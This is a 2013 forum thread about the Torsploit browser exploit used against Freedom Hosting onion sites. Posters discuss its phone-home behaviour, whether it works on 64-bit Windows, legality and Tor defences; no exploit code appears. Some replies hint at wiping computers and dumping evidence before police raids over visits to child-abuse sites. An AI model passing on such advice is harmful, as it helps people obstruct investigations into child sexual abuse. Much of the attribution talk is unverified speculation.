However, it still doesn't really matter than much because the technical analysis of Torsploit has some strong indicators in its own right. The traffic was going to some corporate customer of Verizon Business most likely in the DC or VA area. And not to some random IP in Transnistria or Vietnam, for example. Call it traffic analysis if you like - even if you don't know exactly what the traffic is or who is receiving it, you can tell roughly where it is going and what sort of organisation might be reading it..

Albert UL · Post by **Albert UL** » Thu Aug 08, 2013 5:07 pm

I still don't get a thing... It's true that firefox 17.0.7 was safe or was a lie that TOR PROJECT guys said to don't scare and lose all their bundle users base?

Kraken94 · Post by **Kraken94** » Thu Aug 08, 2013 5:09 pm

I've been following this topic since I saw it in the news the other day, I find security a fascinating thing especially after the snowden ordeal..

I started reading up on Tor and all the comments and flames towards that organization.. so I have just two things to add that are merely opinions..

1. Tor, seems to me, does have some blame to bare since from what I gather, they used to disable JS by default and then suddenly didn't at some point in time.. they said this is to improve user experience. Well doesn't trading user experience for security put their users right in the cross hairs? JS is insecure if you're looking for privacy.. no?

2. I've heard lots of opinions about whether or not this was an illegal attack or not.. assume for a moment it was government related, might this have just been intelligence gathering? meaning that the data collected would go into a database of red flags and possible targets for standard investigation? in other words.. not presenting the collected data as evidence .. but using it as an arrow pointing to someone watch for future infraction?

I honestly don't know.. I'm no expert in Tor and I'm also no legal expert.. just an interesting topic since I've always followed security related news.. I'm a systems admin so there's always something valuable to take way from things like this.

Anyway,

Cheers!

Guest · Post by **Guest** » Thu Aug 08, 2013 6:30 pm

Pattern_Juggled wrote:
Dynamoo wrote:As I keep saying, the available evidence appears to indicate that the FBI or some other agency worked out the physical location and/or owner of Freedom Hosting (they could have been posing as a potential customer and made contact that way).

FH was a child porn haven and there is no doubt that the admin knew about the content. We shall wait for the criminal complaint to make its way to the web and the details of how FH fell may be known. I won't be mourning it's loss though, I prayed for the day that this would happen and I'm sure many are rejoicing.

Dynamoo · Post by **Dynamoo** » Thu Aug 08, 2013 7:13 pm

Kraken94 wrote:2. I've heard lots of opinions about whether or not this was an illegal attack or not.. assume for a moment it was government related, might this have just been intelligence gathering? meaning that the data collected would go into a database of red flags and possible targets for standard investigation? in other words.. not presenting the collected data as evidence .. but using it as an arrow pointing to someone watch for future infraction?

Well of course, we don't currently know the full details so the argument is moot. But the analysis of the exploit itself indicates that it simply phones home with the data and it doesn't alter the configuration of the computer in any way. I would concur that this sounds like something LE would do to ensure that they stayed legal. Secondly, we don't know what (if any) warrants or court orders were issued and the scope of them. If a court simply handed the ownership over to LE then it could be legal for them to do whatever they wanted.

Kraken94 · Post by **Kraken94** » Thu Aug 08, 2013 8:17 pm

Dynamoo wrote:
Kraken94 wrote:2. I've heard lots of opinions about whether or not this was an illegal attack or not.. assume for a moment it was government related, might this have just been intelligence gathering? meaning that the data collected would go into a database of red flags and possible targets for standard investigation? in other words.. not presenting the collected data as evidence .. but using it as an arrow pointing to someone watch for future infraction?
Well of course, we don't currently know the full details so the argument is moot. But the analysis of the exploit itself indicates that it simply phones home with the data and it doesn't alter the configuration of the computer in any way. I would concur that this sounds like something LE would do to ensure that they stayed legal. Secondly, we don't know what (if any) warrants or court orders were issued and the scope of them. If a court simply handed the ownership over to LE then it could be legal for them to do whatever they wanted.

I can kind of agree, but hypothetically if I ran a web hosting company, I would be in some hot water I suppose if I injected javascript into all of my hosted sites that exploited a browser flaw to execute native windows code to collect data.. I couldn't just "do whatever I wanted" ... it's for that reason that I hypothesized that they could be collecting this data as intelligence for future use.. but I have no idea.. it seems when it comes to things like this the landscape of what is legal and what isn't really evolves daily.

Guest · Post by **Guest** » Thu Aug 08, 2013 10:23 pm

Here's a photo of the alleged FH admin. At first glance I feel sorry for the fellow, then I think of all the CP he'd hosted and don't feel so sorry after all.

http://www.irishtimes.com/news/crime-an ... -1.1488181

Andy · Post by **Andy** » Thu Aug 08, 2013 10:44 pm

Hello. I need some help with this.
Someone mentioned that since the payload uses the win32 API, it won't work on 64 bit windows. Is that true ? Am I safe because I'm on a 64 bit Win 7 ?
It doesn't make sense to me because win32 software runs without any problems on 64 bit machines.

Pattern_Juggled · Post by **Pattern_Juggled** » Fri Aug 09, 2013 9:48 am

Andy wrote:Hello. I need some help with this.
Someone mentioned that since the payload uses the win32 API, it won't work on 64 bit windows. Is that true ? Am I safe because I'm on a 64 bit Win 7 ?
It doesn't make sense to me because win32 software runs without any problems on 64 bit machines.

I will gladly accept corrections on this from anyone with deeper Windows expertise, but that said I have seen no reason to suggest that the torsploit shell payload won't work on 64 bit windows machines. As you say, 32 bit processes run all the time in OS's that are making use of 64-bit instruction lengths... it's routine. I don't believe this even requires any sort of clever emulation or virtualization, quite the reverse: making use of the 64-bit instruction set capability requires actively re-optimizing code (or, more specifically, compiler?) to change how it parses its processor requests.

As much as I'm keen to learn more from folks closer to the metal than we're normally used to considering safe

, I'll be seriously surprised if torsploit's target class was limited to 32 bit architectures.

Cheers,

Guest · Post by **Guest** » Fri Aug 09, 2013 10:05 am

I have not read all of the posts. Sorry if this has been posted. Read comment #14 from this TAILS forum thread. It was posted almost a year ago.

https://tails.boum.org/forum/How_to_kno ... ack_tails/

Pattern_Juggled · Post by **Pattern_Juggled** » Fri Aug 09, 2013 3:58 pm

Another important clue: This excellent line-by-line shellcode analysis provides some insight into where, most likely, the shellcode payload ("Magneto") has its roots. I'll spare thread readers the eye-pain of replicating the data here, & I'll hope folks closer to the metal than I am will be able to provide a plain-English summation of what this comparison suggests.

Cheers,

xvart · Post by **xvart** » Fri Aug 09, 2013 4:13 pm

I really can't see the point in trolling over the details of an already understood and patched exploit, the discussion here should be how to prevent leakage in the future no matter how insecure your browser is.

TOR running in a VM configured to use a bridge with iptables,(yes you have to use linux get over it) to block all traffic not going to the bridge seems to be the only real solution to this issue. No matter what each of us think about FH's and it's content if you want TOR to be secure you need to implement the measures on the user side to make it so. There will be issues with any browser you use at some point, and for all we know burried in the javscript engine is a hook for any security agency that wants it.

The TOR browser bundle is a great accessible piece of software that allows the average non technical user to experience TOR, as a comunity we should be seeking to make sure the user space apps can not compromise our security.

Pattern_Juggled · Post by **Pattern_Juggled** » Fri Aug 09, 2013 4:22 pm

Buried up in the earlier pages of this thread are some of my comments regarding the psyops components of torsploit: the three horsemen of Fear, Uncertainty, and Doubt (FUD).

I missed it at the time, but BI actually caught wind of that theory and provided a bit of visibility. Which is good to see - there's way, way too little discussion of the practical realities of psyops in current surveillance debates. Anyway, here's the screens if anyone doesn't want to risk browser meltdown due to BI's incredibly script-heavy site architecture:

Pattern_Juggled · Post by **Pattern_Juggled** » Fri Aug 09, 2013 5:56 pm

Pattern_Juggled wrote:As much as I'm keen to learn more from folks closer to the metal than we're normally used to considering safe , I'll be seriously surprised if torsploit's target class was limited to 32 bit architectures.

This conclusion appears to be confirmed by a Windows memory forensics specialists, which is about as close to the metal as you can get without starting to smell noticeably metallic.

Pattern_Juggled · Post by **Pattern_Juggled** » Fri Aug 09, 2013 6:57 pm

"To find the intruders behind the keyboards overseas, we absolutely need the considerable skills of Keith’s experts at NSA."

Robert S. Mueller, III
Director
Federal Bureau of Investigation
International Conference on Cyber Security 2013
Fordham University | New York, NY
August 08, 2013

Screenshotted, because, you know...

Kraken94 · Post by **Kraken94** » Fri Aug 09, 2013 7:46 pm

Andy wrote:Hello. I need some help with this.
Someone mentioned that since the payload uses the win32 API, it won't work on 64 bit windows. Is that true ? Am I safe because I'm on a 64 bit Win 7 ?
It doesn't make sense to me because win32 software runs without any problems on 64 bit machines.

Someone may have answered this.. but in short, no you're not safe... 32 bit code works on 64 bit systems in most cases.. there are situations where that's not true, but it's more the exception than the rule..

My guess is that this exploit was designed to run on as many windows platforms as possible, and the code does seem pretty simple...

The one thing we do not know, or at least I don't think we know .. is ..

1. When did the exploit first appear, it could have been there for weeks without people noticing depending on HOW they injected it .. most likely when FH went down, in which case .. only a couple of days.. but that's conjecture.

And ..

2. What versions of windows does the code work on .. I THINK I am safe to say 32/64 bit doesn't matter.. what I don't know is if ALL versions of windows are affected.. meaning.. Windows 2000, Windows XP, Windows 7, Windows 8 .. etc.. being that 7 and 8 are so similar architecturally speaking, I'm sure they are affected.. I don't know about earlier versions.. so someone smarter than me should speak to that.. I rarely write code for windows, I'm a PHP person =)

Kraken94 · Post by **Kraken94** » Fri Aug 09, 2013 7:49 pm

Pattern_Juggled wrote:
Pattern_Juggled wrote:As much as I'm keen to learn more from folks closer to the metal than we're normally used to considering safe , I'll be seriously surprised if torsploit's target class was limited to 32 bit architectures.
This conclusion appears to be confirmed by a Windows memory forensics specialists, which is about as close to the metal as you can get without starting to smell noticeably metallic.

He's right.. the only time I know of where 32 bit doesn't work in 64 bit is when it comes to drivers or very specific dll's .. generally speaking, almost all 32 bit software runs in 64 bit ..

I don't know much about the code they executed but my guess is it's probably as minimal as possible to targer virtually every windows platform.. perhaps not 3.1.1

but everything else .. Might even run on Windows 95!

Kraken94 · Post by **Kraken94** » Fri Aug 09, 2013 7:54 pm

Pattern_Juggled wrote:"To find the intruders behind the keyboards overseas, we absolutely need the considerable skills of Keith’s experts at NSA."

Robert S. Mueller, III
Director
Federal Bureau of Investigation
International Conference on Cyber Security 2013
Fordham University | New York, NY
August 08, 2013

Screenshotted, because, you know...

FBI — The Future of Cyber Security from the FBI’s Perspective 2013-08-09 06-54-56.png

That's interesting... I'd read something yesterday about Edward Snowden's email provider being down as well .. which some have suggested may have had hidden services on FH .. There's a good chance this hack was to try to target him.. him being granted asylum also lines up with all of these events, time wise I believe..

Who knows.. it's all very interesting, and spooky at the same time.

Jack · Post by **Jack** » Mon Aug 12, 2013 9:31 pm

Should I be expecting a knock on the door by the FBI ?
I did open a lot of .onion sites on that day and at least one or two of them mus have been on freedom hosting. I was using the vulnerable browser with default settings.

Guest · Post by **Guest** » Wed Aug 14, 2013 6:39 pm

Jack wrote:Should I be expecting a knock on the door by the FBI ?
I did open a lot of .onion sites on that day and at least one or two of them mus have been on freedom hosting. I was using the vulnerable browser with default settings.

It would take sometime for the FBI to compile the list, get the names and such from the providers, and then do a risk analysis of some kind as to who they should get. They will probably do token raruds and arrests, butleave the rest to the states to prosecute.

Thta means you have time to clean up your computer, but depending on what sites you wnt to and how many people they have, you can probably expect a raid within the next few months. If you can get to next summer without being raided, they may not bother with you at all, but your name is on their list.

Guest · Post by **Guest** » Thu Aug 15, 2013 5:02 pm

Guest wrote:
Jack wrote:Should I be expecting a knock on the door by the FBI ?
I did open a lot of .onion sites on that day and at least one or two of them mus have been on freedom hosting. I was using the vulnerable browser with default settings.
It would take sometime for the FBI to compile the list, get the names and such from the providers, and then do a risk analysis of some kind as to who they should get. They will probably do token raruds and arrests, butleave the rest to the states to prosecute.

Thta means you have time to clean up your computer, but depending on what sites you wnt to and how many people they have, you can probably expect a raid within the next few months. If you can get to next summer without being raided, they may not bother with you at all, but your name is on their list.

My guess is there is a good chance nothing is going to happen, seeing as how they been completely exposed. I'm assuming this was an attempt to locate site owners and or active members

Guest · Post by **Guest** » Sun Apr 03, 2016 7:29 am

Seems overly optimistic to assume nothing is going to happen. I agree they will probably target the most active people and/or site admins, but that would be wholly dependent on how many people got snared to begin with. It does seem pretty odd for them to let themselves be known so early in an investigation. I imagine there are a lot of people filling local landfills with their old computer equipment. This begs a few questions though. Are they banking on people's complacency based on the fact that the IP was not definitively traced back to any known LEA? OR Perhaps are they justconfident enough in the info that was gathered that evidence dumping won't be much of a hindrance? I would say if you visited an illegal compromised site in that time window, expect a friendly visit in the next 6 months. Maybe by some miracle your ISP would have dumped its IP logs before the subpoena hits. I wouldn't hold my breath though.